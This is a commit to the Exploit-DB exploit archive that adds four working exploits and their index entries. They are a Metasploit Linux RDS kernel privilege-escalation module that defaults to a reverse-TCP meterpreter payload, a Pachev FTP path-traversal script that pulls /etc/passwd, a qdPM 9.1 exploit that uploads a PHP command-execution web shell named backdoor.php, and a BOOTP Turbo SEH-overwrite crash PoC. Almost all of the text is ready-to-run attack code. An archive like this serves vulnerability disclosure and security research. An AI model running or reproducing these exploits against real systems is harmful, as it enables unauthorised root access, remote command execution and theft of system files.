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DB: 2020-01-24

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4 changes to exploits/shellcodes

BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)

Reliable Datagram Sockets (RDS) - rds_atomic_free_op NULL pointer dereference Privilege Escalation (Metasploit)

Pachev FTP Server 1.0 - Path Traversal

qdPM 9.1 - Remote Code Execution
This commit is contained in:
Offensive Security 2020-01-24 05:02:04 +00:00
parent 82e6691834
commit a7338bf2c6
5 changed files with 367 additions and 0 deletions
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166
exploits/linux/local/47957.rb Executable file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Compile
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a NULL pointer dereference in the `rds_atomic_free_op` function in the
Reliable Datagram Sockets (RDS) kernel module (rds.ko).
Successful exploitation requires the RDS kernel module to be loaded.
If the RDS module is not blacklisted (default); then it will be loaded
automatically.
This exploit supports 64-bit Ubuntu Linux systems, including distributions
based on Ubuntu, such as Linux Mint and Zorin OS.
Target offsets are available for:
Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.
This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.
Failed exploitation may crash the kernel.
This module has been tested successfully on various 4.4 and 4.8 kernels.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333)
'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213)
'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic
'bcoles', # Metasploit module and updated C exploit
'nstarke' # Additional kernel offsets
],
'DisclosureDate' => '2018-11-01',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2018-5333' ],
[ 'CVE', '2019-9213' ],
[ 'BID', '102510' ],
[ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ],
[ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ]
],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
},
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
return CheckCode::Safe("System architecture #{arch} is not supported")
end
vprint_good "System architecture #{arch} is supported"
offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
kernels = offsets.scan(/"(.+?)"/).flatten
version = "#{kernel_release} #{kernel_version.split(' ').first}"
unless kernels.include? version
return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
end
vprint_good "Linux kernel #{version} is vulnerable"
if smap_enabled?
return CheckCode::Safe('SMAP is enabled')
end
vprint_good 'SMAP is not enabled'
if lkrg_installed?
return CheckCode::Safe('LKRG is installed')
end
vprint_good 'LKRG is not installed'
if grsec_installed?
return CheckCode::Safe('grsecurity is in use')
end
vprint_good 'grsecurity is not in use'
unless kernel_modules.include? 'rds'
vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'
return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')
end
vprint_good 'rds.ko kernel module is loaded'
CheckCode::Appears
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out')
end
register_file_for_cleanup exploit_path
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup payload_path
# mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete
timeout = 30
print_status "Launching exploit (timeout: #{timeout})..."
output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)
output.each_line { |line| vprint_status line.chomp }
end
end

19
exploits/linux/remote/47956.py Executable file
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# Exploit Title: Pachev FTP Server 1.0 - Path Traversal
# Date: 2020-01-23
# Vulnerability: Path Traversal
# Exploit Author: 1F98D
# Vendor Homepage: https://github.com/pachev/pachev_ftp
from ftplib import FTP
ip = raw_input("Target IP: ")
port = int(raw_input("Target Port: "))
ftp = FTP()
ftp.connect(host=ip, port=port)
ftp.login('pachev', '')
ftp.retrbinary('RETR ../../../../../../../../etc/passwd', open('passwd.txt', 'wb').write)
ftp.close()
file = open('passwd.txt', 'r')
print "[**] Printing the contents of /etc/passwd\n"
print file.read()

130
exploits/php/webapps/47954.py Executable file
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# Exploit Title: qdPM 9.1 - Remote Code Execution
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2020-01-22
# Exploit Author: Rishal Dwivedi (Loginsoft)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Windows 10 (Python 2.7)
# CVE : CVE-2020-7246
# Exploit written in Python 2.7
# Tested Environment - Windows 10
# Path Traversal + Remote Code Execution
# Command - qdpm-exploit.py -url http://localhost/ -u user@localhost.com -p password
# -*- coding: utf-8 -*-
#!/usr/bin/python
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
uservar,
):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
):
request_1 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'.htaccess',
)
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
, files=request_1)
request_2 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'../.htaccess',
)
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
, files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php',
'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
, 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME
+ 'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
result = session_requests.get(HOSTNAME + '/index.php/login')
login_tree = html.fromstring(result.text)
authenticity_token = \
list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value"
)))[0]
payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login',
data=payload,
headers=dict(referer=HOSTNAME
+ '/index.php/login'))
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
)
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ = \
account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
final_tree = html.fromstring(get_file.content)
backdoor = \
final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
+ backdoor[-1] + '?cmd=whoami'
if __name__ == '__main__':
parser = \
ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
)
parser.add_argument('-url', '--host', dest='hostname',
help='Project URL')
parser.add_argument('-u', '--email', dest='email',
help='User email (Any privilege account)')
parser.add_argument('-p', '--password', dest='password',
help='User password')
args = parser.parse_args()
main(args.hostname, args.email, args.password)

48
exploits/windows/dos/47955.py Executable file
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# Exploit Title: BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)
# Exploit Author: boku
# Date: 2020-01-22
# Software Vendor: Wierd Solutions
# Vendor Homepage: https://www.weird-solutions.com
# Software Link: https://www.weird-solutions.com/download/products/bootpt_demo_IA32.exe
# Version: BOOTP Turbo (x86) Version 2.0
# Tested On: Windows 10 Pro -- 10.0.18363 Build 18363 x86-based PC
# Tested On: Windows 7 Enterprise SP1 -- build 7601 64-bit
# Replicate Crash:
# 1) Download, Install, and Open BootP Turbo v2.0 for windows x86
# 2) Go to Edit > Settings > Click the Detailed Logging Box
# 3) Run python script, open created file 'crash.txt'
# 4) Select-All > Copy All, from file
# 5) Paste buffer in the 'Log File' text-box, Click 'OK'
# 6) Close the 'Control Service' Pop-Up Window
# 7) Crash with SEH Overwrite
# SEH chain of main thread
# Address SE handler
# 019CD254 43434343
# 42424242 *** CORRUPT ENTRY ***
# Loaded Application Modules
# Rebase | SafeSEH | ASLR | NXCompat | Version, Modulename & Path
# True | True | False | False | 4.7.3.0 [QtGui4.dll] (C:\Program Files\BOOTP Turbo\QtGui4.dll)
# True | True | False | False | 4.7.3.0 [QtCore4.dll] (C:\Program Files\BOOTP Turbo\QtCore4.dll)
# True | True | False | False | 10.00.30319.1 [MSVCP100.dll] (C:\Program Files\BOOTP Turbo\MSVCP100.dll)
# True | True | False | False | 2.0 [bootptui.exe] (C:\Program Files\BOOTP Turbo\bootptui.exe)
# True | True | False | False | 10.00.30319.1 [MSVCR100.dll] (C:\Program Files\BOOTP Turbo\MSVCR100.dll)
#!/usr/bin/python
offset = '\x41'*2196
nSEH = '\x42\x42\x42\x42'
SEH = '\x43\x43\x43\x43'
filler = '\x44'*(3000-len(offset+nSEH+SEH))
payload = offset+nSEH+SEH+filler
try:
f=open("crash.txt","w")
print("[+] Creating %s bytes evil payload." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("File cannot be created.")

4
files_exploits.csv
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@ -6661,6 +6661,7 @@ id,file,description,date,author,type,platform,port
47942,exploits/windows/dos/47942.py,"GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)",2020-01-17,"Ismail Tasdelen",dos,windows,
47947,exploits/windows/dos/47947.py,"Sysax Multi Server 5.50 - Denial of Service (PoC)",2020-01-20,"Shailesh Kumavat",dos,windows,
47952,exploits/multiple/dos/47952.txt,"KeePass 2.44 - Denial of Service (PoC)",2020-01-22,"Mustafa Emre Gül",dos,multiple,
47955,exploits/windows/dos/47955.py,"BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC)",2020-01-23,boku,dos,windows,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10915,6 +10916,7 @@ id,file,description,date,author,type,platform,port
47944,exploits/windows/local/47944.rb,"Plantronics Hub 3.13.2 - SpokesUpdateService Privilege Escalation (Metasploit)",2020-01-17,Metasploit,local,windows,
47945,exploits/xml/local/47945.txt,"Easy XML Editor 1.7.8 - XML External Entity Injection",2020-01-20,"Javier Olmedo",local,xml,
47950,exploits/windows/local/47950.txt,"NEOWISE CARBONFTP 1.4 - Weak Password Encryption",2020-01-21,hyp3rlinx,local,windows,
47957,exploits/linux/local/47957.rb,"Reliable Datagram Sockets (RDS) - rds_atomic_free_op NULL pointer dereference Privilege Escalation (Metasploit)",2020-01-23,Metasploit,local,linux,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -17944,6 +17946,7 @@ id,file,description,date,author,type,platform,port
47891,exploits/java/remote/47891.txt,"JetBrains TeamCity 2018.2.4 - Remote Code Execution",2020-01-08,hantwister,remote,java,
47924,exploits/linux/remote/47924.rb,"Barco WePresent - file_transfer.cgi Command Injection (Metasploit)",2020-01-15,Metasploit,remote,linux,
47936,exploits/hardware/remote/47936.js,"Sagemcom F@ST 3890 (50_10_19-T1) Cable Modem - 'Cable Haunt' Remote Code Execution",2020-01-15,Lyrebirds,remote,hardware,
47956,exploits/linux/remote/47956.py,"Pachev FTP Server 1.0 - Path Traversal",2020-01-23,1F98D,remote,linux,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -42252,4 +42255,5 @@ id,file,description,date,author,type,platform,port
47946,exploits/php/webapps/47946.txt,"Adive Framework 2.0.8 - Persistent Cross-Site Scripting",2020-01-20,"Sarthak Saini",webapps,php,
47948,exploits/php/webapps/47948.rb,"Centreon 19.04 - Authenticated Remote Code Execution (Metasploit)",2020-01-20,TheCyberGeek,webapps,php,
47949,exploits/java/webapps/47949.txt,"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection",2020-01-21,"Ertebat Gostar Co",webapps,java,
47954,exploits/php/webapps/47954.py,"qdPM 9.1 - Remote Code Execution",2020-01-23,"Rishal Dwivedi",webapps,php,
47951,exploits/xml/webapps/47951.py,"Citrix XenMobile Server 10.8 - XML External Entity Injection",2020-01-22,"Jonas Lejon",webapps,xml,

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